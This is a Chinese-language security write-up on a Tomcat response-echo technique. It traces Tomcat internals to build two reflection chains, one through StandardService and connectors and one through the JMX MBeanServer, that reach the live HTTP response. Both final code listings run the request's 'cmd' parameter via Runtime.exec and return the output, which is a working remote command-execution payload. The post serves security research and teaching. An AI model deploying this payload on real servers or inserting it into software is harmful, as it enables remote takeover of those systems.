介绍
2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象。整个过程分析下来就像是在构造调用链,一环扣一环,直到找到了那个静态变量或者是那个已经创建过的对象。
优势
利用中间件来实现回显,可以跨平台通用,只要使用了相关的组件就可以达到回显的目的
实现手法
个人感觉和内存马输出的方法类似,要想控制输出,那么就要获取到response
,然后对其进行定制化调用,实现内容输出
快速搭建tomcat调试环境
之前在学习EL表达式的时候,使用了IDEA一种结合本地tomcat服务器搭建环境的方法;
这次我们使用另一种内置Tomcat的方法,来方便我们调试tomcat
Tomcat实际上也是一个Java程序,我们看看Tomcat的启动流程:
- 启动JVM并执行Tomcat的
main()
方法; - 加载war并初始化Servlet;
- 正常服务。
启动Tomcat无非就是设置好classpath并执行Tomcat某个jar包的main()
方法,我们完全可以把Tomcat的jar包全部引入进来,然后自己编写一个main()
方法,先启动Tomcat,然后让它加载我们的webapp就行。
创建maven项目
修改pom.xml
引入tomcat依赖包,修改pom.xml
文件,引入依赖 tomcat-embed-core
和 tomcat-embed-jasper
,引入的 Tomcat 版本 <tomcat.version>
为 8.5.47。
tomcat-embed-core 依赖包含 javax.servlet 下的内容,因此不需要再额外引入依赖 javax.servlet-api。
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
<tomcat.version>8.5.47</tomcat.version> <!-- 设定tomcat版本 -->
</properties>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
创建Java代码文件夹
创建maven规范的代码存放文件夹java
创建启动类
以TomcatMain
为例,创建后启动访问http://localhost:8080/
就可以看到hello world界面了
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.startup.Tomcat;
import org.apache.catalina.webresources.DirResourceSet;
import org.apache.catalina.webresources.StandardRoot;
import java.io.File;
/**
* @author d4m1ts
*/
public class TomcatMain {
public static void main(String[] args) throws LifecycleException {
// 启动tomcat
Tomcat tomcat = new Tomcat();
tomcat.setPort(8080);
tomcat.getConnector();
// 创建webapp
// 创建上下文,后面要绝对路径
Context context = tomcat.addWebapp("","/Users/d4m1ts/d4m1ts/java/TomcatEcho/src/main/webapp");
WebResourceRoot resources = new StandardRoot(context);
resources.addPreResources(new DirResourceSet(resources, "/WEB-INF/classes",new File("target/classes").getAbsolutePath(), "/"));
context.setResources(resources);
tomcat.start();
tomcat.getServer().await();
}
}
创建servlet
直接在java
目录上点击鼠标右键New
可能没有Create New Servlet
等选项来快速创建servlet-api,需要执行下列的一些操作来添加上(有的可以直接看下面创建部分):
1、将src标记成Sources文件
2、配置source root
[!note]
我的servlet写在src\main\java里,所以就勾选第一个。要是打算在多个文件下Create New Servlet ,那就把src的都勾上。
快速创建servlet:
编写代码:
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter writer = response.getWriter();
writer.write("hello world");
writer.flush();
}
}
servlet过程分析
在我们编写的servlet处下个断点,然后用浏览器访问,观察调用栈
doGet:18, HelloServlet
service:634, HttpServlet (javax.servlet.http)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
可以看到:
- 1-3行是servlet处理过程
- 4-5行是filter处理过程
- 再向下就是tomcat的各种初始化过程
[!note]
考虑到一些组件如
Shiro
、JFinal
都有全局拦截器,如果我们想要非常通用,最好是在tomcat初始化的过程中就获取到response
然后定制修改;从上面的堆栈来看,就是从>=第六行去寻找,越靠后就说明在初始化过程中越早,利用效果越好。
利用链挖掘
response获取
[!tip]
- 找到
response
对象- 分析它如何初始化的(它是怎么来的)
- 获取到它初始化后的实例
- 通过它去控制输出
平时我们要拿到一个内存中的实例对象,主要有两种方法:
- 反射
- 回溯分析,应用是怎么初始化这个变量的,找关联函数、类、类变量等,再得到这个变量
分析上面的调用栈,除去后期对servlet
和filter
的处理
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
从下向上挨着看,发现整个调用过程中最初使用到response
的就是第8行的service:798, Http11Processor (org.apache.coyote.http11)
说明response
和resquest
在这之前就已经初始化了,所以我们需要向上回溯分析
查看这个response
的定义,是org.apache.coyote.AbstractProcessor
抽象类中的一个变量Response response
跟一下这个response
是如何初始化的
发现是AbstractProcessor
类的构造函数初始化,且resquest
对象中包含了response
也就是说:我们后期如果拿到了
resquest
,也可以通过其拿到response
注意:想要调用下面的
protected
构造函数,实际是需要调用上面的publuc
构造函数,再通过上面的构造函数调用下面有response
的构造函数
而在Http11Processor
类中要用到这个protected
修饰的response
变量,大概率是继承了AbstractProcessor
,去看下,很明显
所以我们还要找一下,response
在Http11Processor
类中是如何初始化的,看一下它的构造函数,是调用了父类AbstractProcessor
的构造函数
所以request
和response
初始化是在Http11Processor
的构造函数中初始化的
所以现在思路比较明确,Http11Processor
类初始化后,通过各种方法拿到request
或者response
实例即可,因为它们是通过protected
来修饰的,所以可以通过当前类、同包和子类中来查找是否有相关的函数来获取这俩实例
还是查找request
和response
实例的usage
发现org.apache.coyote.AbstractProcessor
提供了一个getRequest
方法来获取request
对象
获取到request
对象后,再通过Request
类提供的getResponse
方法来获取response
最后通过response
的doWrite()
方法,写进内容,返回给前端
也可以通过setHeader()
方法写入到返回头中
所以一条response部分利用链如下:
Http11Processor
继承了AbstractProcessor
,所以调用Http11Processor#getRequest()
就等于AbstractProcessor#getRequest()
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()
Http11Processor类相关
前面挖掘部分说了,获取了Http11Processor
实例后,就可以获取request
,也就可以获取response
,我们的目的也达成了,但是如何来获取Http11Processor
实例或者Http11Processor request、response
的变量呢
继续向前分析,看什么时候出现了Http11Processor
类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process
这个函数中,初始化是通过connections.get(socket)
来赋值
但722行这个时候获取的processor
值为null,因为connections
值为空,在806行的时候才添加内容到connections
中
所以我们重新下个断点分析一下processor
是如何赋值的,可以看到connections
722行初始化的时候长度是0,processor这个时候也是null,这也验证了我们上面说的
一直往后跟,在798行的时候会对processor
进行赋值,调用this.getProtocol().createProcessor();
来获得的
赋值后会进入register
函数对processor
进行一些处理,重点也在这
跟进注册函数,发现变量rp是RequestInfo
类,而通过RequestInfo
类我们可以获取到request
,后续也就可以获取到response
了
rp.req.getResponse()
所以这里我们可以着重关注一下,如何获取RequestInfo
对象rp
,从后面的内容可以看出来,主要有2个地方:
- 第一处会通过
rp.setGlobalProcessor(global)
设置到global中,具体可以看代码 - 第二处会通过
Registry.getRegistry(null, null).registerComponent(rp,rpName, null);
注册到其他地方
所以想要构造链,主要有两种方法:
- 寻找获取
global
的方法 - 跟踪
Registry.registerComponent()
流程,查看具体的RequestInfo
对象被注册到什么地方了
获取global
先放下整条链的结果:
Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
global
变量是AbstractProtocol
静态内部类ConnectionHandler
的成员变量;不是static静态变量,因此我们还需要找存储AbstractProtocol
类或AbstractProtocol
子类。现在的利用链为
AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
分析继承关系,发现它有子类Http11NioProtocol
,所以如果我们获取到这个类,那么也能获取到global
[!note]
Tomcat初始化
StandardService
时,会启动Container
、Executor
、mapperListener
及所有的Connector
。其中Executor
负责为Connector
处理请求提供共用的线程池,mapperListener
负责将请求映射到对应的容器中,Connector
负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector
对象中
分析调用栈,发现存在这个类,org.apache.catalina.connector.CoyoteAdapter#connector
的protocolHandler
属性值类就是Http11NioProtocol
((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) connector.protocolHandler).handler).global.processors.get(0).req.getResponse()
所以现在的思路是如何获取到这个connector
,新的利用链
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过org.apache.catalina.core.StandardService#addConnector
存放在connectors
中
然后通过org.apache.catalina.core.StandardService#initInternal
进行初始化
因为先添加了再初始化,所以这个时要获取connectors
,可以通过org.apache.catalina.core.StandardService
来获取
所以利用链
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
所以最后就是如何获得StandardService
了,这里利用的是tomcat放弃了双亲委派模型的思路
[!note]
双亲委派机制的缺点:当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
Tomcat加载机制简单讲,
WebAppClassLoader
负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader
加载,这和双亲委派刚好相反。
通过Thread.currentThread().getContextClassLoader()
来获取当前线程的ClassLoader
,再从resources->context->context
当中寻找即可。
所以最终的手法
Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
global链路代码
[!note]
尽可能的找到能够直接通过函数获取到想要的数据,实在不行再使用反射
1、获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Thread.currentThread().getContextClassLoader().getClass()
的值为org.apache.catalina.loader.ParallelWebappClassLoader
,它继承了WebappClassLoaderBase
,而resources
变量是WebappClassLoaderBase
类中的,所以这里如果也想使用反射的话,需要如下:
// 获取 StandardContext
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Field resources = org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources");
resources.setAccessible(true);
org.apache.catalina.webresources.StandardRoot standardRoot = (StandardRoot) resources.get(contextClassLoader);
StandardContext standardContext = (StandardContext) standardRoot.getContext();
2、获取StandardContext
中的context
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
3、获取context
中的service
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
4、获取service
中的connectors
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
5、反射获取 AbstractProtocol$ConnectoinHandler
实例
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
6、反射获取global
内部的processors
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
7、获取response
输出内容
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
PrintWriter writer = response1.getWriter();
writer.write("tomcat echo");
writer.flush();
}
代码汇总:
// 获取 StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
// 反射获取StandardContext中的context
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
// 反射获取context中的service
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
// 反射获取service中的connectors
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
// 反射获取 AbstractProtocol$ConnectoinHandler 实例
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
// 反射获取global内部的processors
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
// 获取response修改数据
// 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
// 获取参数
PrintWriter writer = response1.getWriter();
String cmd = request2.getParameter("cmd");
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
DataInputStream dataInputStream = new DataInputStream(inputStream);
String disr = dataInputStream.readLine();
while ( disr != null ) {
writer.write(disr);
disr = dataInputStream.readLine();
}
}
writer.flush();
}
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
} catch (NoSuchFieldException noSuchFieldException) {
noSuchFieldException.printStackTrace();
}
效果
跟踪Registry.registerComponent()
跟进org.apache.tomcat.util.modeler.Registry#registerComponent(java.lang.Object, javax.management.ObjectName, java.lang.String)
这个函数,发现会给RequestInfo
对象注册到MBeanServer
中
oname
的值为Tomcat:name=HttpRequest1,type=RequestProcessor,worker="http-nio-8080"
所以如果能通过MBeanServer
来获取到相关的信息,会更加的方便直接
分析一下,通过Registry#getMBeanServer()
函数能够直接获取到MBeanServer
实例
所以现在问题是怎么拿到org.apache.tomcat.util.modeler.Registry
这个类的实例,我们还是分析一下应用是怎么拿到的,然后模拟一下即可
它是直接使用Registry.getRegistry(null, null)
来获取的
所以我们也模拟一下这个过程,整个过程中变量.getClass
是什么类我们就给他转换为什么类即可
如
jmxMBeanServer.mbsInterceptor.getClass()
的类是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor
,我们就给他转换过去即可老实说
MBeanServer
到RequestInfo
的过程还是有点难找,不知道有没有啥快的办法,还是大佬们牛逼
com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) jmxMBeanServer.mbsInterceptor;
com.sun.jmx.mbeanserver.Repository repository = defaultMBeanServerInterceptor.repository;
repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);
这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。有了RequestInfo
,那我们就可以拿到response
完成回显了
利用链:
jmxMBeanServer->resource(和上面的global一样)->->processors->RequestInfo->req->response
MBeanServer链路代码
这个比上面的要简单一些,可以尝试自己多写写
try {
com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
Field mbsInterceptor = com.sun.jmx.mbeanserver.JmxMBeanServer.class.getDeclaredField("mbsInterceptor");
mbsInterceptor.setAccessible(true);
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) mbsInterceptor.get(jmxMBeanServer);
Field repository = defaultMBeanServerInterceptor.getClass().getDeclaredField("repository");
repository.setAccessible(true);
com.sun.jmx.mbeanserver.Repository repository1 = (Repository) repository.get(defaultMBeanServerInterceptor);
HashSet<com.sun.jmx.mbeanserver.NamedObject> hashSet = (HashSet<com.sun.jmx.mbeanserver.NamedObject>) repository1.query(new javax.management.ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);
for (com.sun.jmx.mbeanserver.NamedObject namedObject : hashSet ) {
Field object = namedObject.getClass().getDeclaredField("object");
object.setAccessible(true);
org.apache.tomcat.util.modeler.BaseModelMBean baseModelMBean = (BaseModelMBean) object.get(namedObject);
Field resource = baseModelMBean.getClass().getDeclaredField("resource");
resource.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) resource.get(baseModelMBean);
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
// 获取response修改数据
// 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
// 获取参数
PrintWriter writer = response1.getWriter();
String cmd = request2.getParameter("cmd");
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
DataInputStream dataInputStream = new DataInputStream(inputStream);
String disr = dataInputStream.readLine();
while (disr != null) {
writer.write(disr);
disr = dataInputStream.readLine();
}
}
writer.flush();
}
}
} catch (NoSuchFieldException | IllegalAccessException | MalformedObjectNameException e) {
e.printStackTrace();
}
效果:
总结
- 最后代码实现过程还是比较简单,主要还是分析过程找到一条可利用的链
- 平时我们要拿到一个内存中的实例对象,主要有两种方法:
- 反射
- 向上回溯分析,应用是怎么初始化这个实例的,找关联函数、类、类变量等,再得到这个实例
- 向上一直回溯到可以通过一些方法获取到内存中的实例为止,如
Registry.getRegistry(null, null).getMBeanServer()
,相当于找到整条链的头 - 编写代码过程中不知道返回的对象是哪一个类的,可以通过debug调试看到,然后再进行类型转换
[!WARNING|style:flat]
如有错误,敬请指正